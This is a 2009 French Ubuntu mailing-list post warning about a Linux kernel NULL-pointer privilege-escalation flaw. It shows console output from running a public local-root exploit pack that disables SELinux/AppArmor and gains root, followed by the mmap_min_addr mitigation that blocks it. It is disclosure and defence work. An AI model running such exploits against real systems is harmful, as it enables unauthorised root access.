faille noyau linux

jean jean4linux at gmail.com
Ven 6 Nov 22:55:54 UTC 2009


Bonsoir à tous,


Je viens de lire un article sur linuxfr.org:
http://www.linuxfr.org/2009/11/05/26120.html
Cet article concerne une faille de sécurité sur le noyau permettant
l'élévation de privilège d'un simple utilisateur.

Je souhaite attirer votre attention sur cette partie plus spécialement


Pour se protéger (ou vérifier si votre système est vulnérable ou non),
assurez-vous que la valeur de /proc/sys/vm/mmap_min_addr ne soit pas
nulle. Debian Sid, Mandriva Linux 2010.0, Fedora 12, Ubuntu (Ibex et
supérieurs) et les noyaux patchés avec grsecurity ne sont pas
vulnérables.

Cependant lorsque je vérifie sur mon système (Ubuntu 9.04 amd64):

jean at lehon:~$ cat /proc/sys/vm/mmap_min_addr 
0

Mon noyau est bien vulnérable contrairement aux dire de l'article. Une
personne ayant répondu à l'article le remarque également

Le dépêche affirme que Ubuntu karmic n'est pas vulnérable. Or sur l'un
de mes systèmes j'observe ceci:

$ cat /proc/sys/vm/mmap_min_addr
0

et sur un autre l'observe ceci:

$ cat /proc/sys/vm/mmap_min_addr
65536

Je ne sais pas encore d'où vient la différence, mais en tout cas,
j'encourage tous les utilisateurs d'Ubuntu à vérifier eux mêmes. 



De plus voici le résultat de l'exploit sur mon système:

jean at lehon:~/base_connaissance/exploit_linux/enlightenment
$ ./run_null_exploits.sh 
Compiling exp_cheddarbay.c...OK.
Compiling exp_ingom0wnar.c...OK.
Compiling exp_moosecox.c...OK.
Compiling exp_paokara.c...OK.
Compiling exp_powerglove.c...OK.
Compiling exp_therebel.c...OK.
Compiling exp_vmware.c...failed.
Compiling exp_wunderbar.c...OK.
 [+] MAPPED ZERO PAGE!
Choose your exploit:
 [0] Cheddar Bay: Linux 2.6.30/2.6.30.1 /dev/net/tun local root
 [1] MooseCox: Linux-2.X->Linux.2.6.31.unfixed pipe local root
 [2] Paokara: Linux 2.6.19->2.6.31.1 eCryptfs local root
 [3] Powerglove: Linux 2.6.31 perf_counter local root
 [4] The Rebel: Linux < 2.6.19 udp_sendmsg() local root
 [5] Wunderbar Emporium: Linux 2.X sendpage() local root
 [6] Exit
> 1

------------------------------------------------------------------------------
 We forfeit three-quarters of ourselves in order to be like other
people.
 --Schopenhauer

------------------------------------------------------------------------------
 [+] Resolved selinux_enforcing to 0xffffffff80b51928
 [+] Resolved selinux_enabled to 0xffffffff80b51924
 [+] Resolved apparmor_enabled to 0xffffffff808c1aa4
 [+] Resolved apparmor_complain to 0xffffffff80b55044
 [+] Resolved apparmor_audit to 0xffffffff80b5504c
 [+] Resolved apparmor_logsyscall to 0xffffffff80b55050
 [+] Resolved security_ops to 0xffffffff80b4f0a8
 [+] Resolved default_security_ops to 0xffffffff808bfc00
 [+] Resolved sel_read_enforce to 0xffffffff803de1a0
 [+] Resolved audit_enabled to 0xffffffff80b0e5c4
 [+] Using newer pipe_inode_info layout
 [+] We'll let this go for a while if needed...
 [+] got ring0!
 [+] detected 2.6 style 8k stacks, with current at 0xffff88004c9f9660
 [+] Disabled security of : LSM
 [+] Got root!
sh: gthumb: not found
# 


Après l'execution du script j'ai obtenu les droits root je suis parvenu
à éditer des fichiers normalement non autorisés aux utilisateurs
classiques.

Après l'application du correctif de sécurité publié sur le site de
Debian: http://wiki.debian.org/mmap_min_addr

jean at lehon:~/base_connaissance/exploit_linux/enlightenment$ sudo su
root at lehon:/home/jean/base_connaissance/exploit_linux/enlightenment#
echo "vm.mmap_min_addr = 4096" > /etc/sysctl.d/mmap_min_addr.conf
root at lehon:/home/jean/base_connaissance/exploit_linux/enlightenment# /etc/init.d/procps restart
 * Setting kernel variables (/etc/sysctl.conf)...
[ OK ] 
 * Setting kernel variables (/etc/sysctl.d/10-console-messages.conf)...
[ OK ] 
 * Setting kernel variables (/etc/sysctl.d/10-network-security.conf)...
[ OK ] 
 * Setting kernel variables (/etc/sysctl.d/30-wine.conf)...
[ OK ] 
 * Setting kernel variables (/etc/sysctl.d/mmap_min_addr.conf)...
[ OK ] 
root at lehon:/home/jean/base_connaissance/exploit_linux/enlightenment#
exit
exit
jean at lehon:~/base_connaissance/exploit_linux/enlightenment$
cat /proc/sys/vm/mmap_min_addr 
4096
jean at lehon:~/base_connaissance/exploit_linux/enlightenment
$ ./run_null_exploits.sh 
Compiling exp_cheddarbay.c...OK.
Compiling exp_ingom0wnar.c...OK.
Compiling exp_moosecox.c...OK.
Compiling exp_paokara.c...OK.
Compiling exp_powerglove.c...OK.
Compiling exp_therebel.c...OK.
Compiling exp_vmware.c...failed.
Compiling exp_wunderbar.c...OK.
 [+] Personality set to: PER_SVR4
I: caps.c: Limited capabilities successfully to CAP_SYS_NICE.
I: caps.c: Dropping root privileges.
I: caps.c: Limited capabilities successfully to CAP_SYS_NICE.
UNABLE TO MAP ZERO PAGE!
jean at lehon:~/base_connaissance/exploit_linux/enlightenment$ 


L'exploit ne fonctionne plus. Par contre comme l'indique l'article sur
debian un petit nombre d'application peuvent ne plus fonctionner
correctement.


Je vous encourage à vérifier pour vos systèmes.

Jean


-------------- section suivante --------------
Une pièce jointe HTML a été nettoyée...
URL: <https://lists.ubuntu.com/archives/ubuntu-fr/attachments/20091106/77257fe9/attachment.html>


Plus d'informations sur la liste de diffusion ubuntu-fr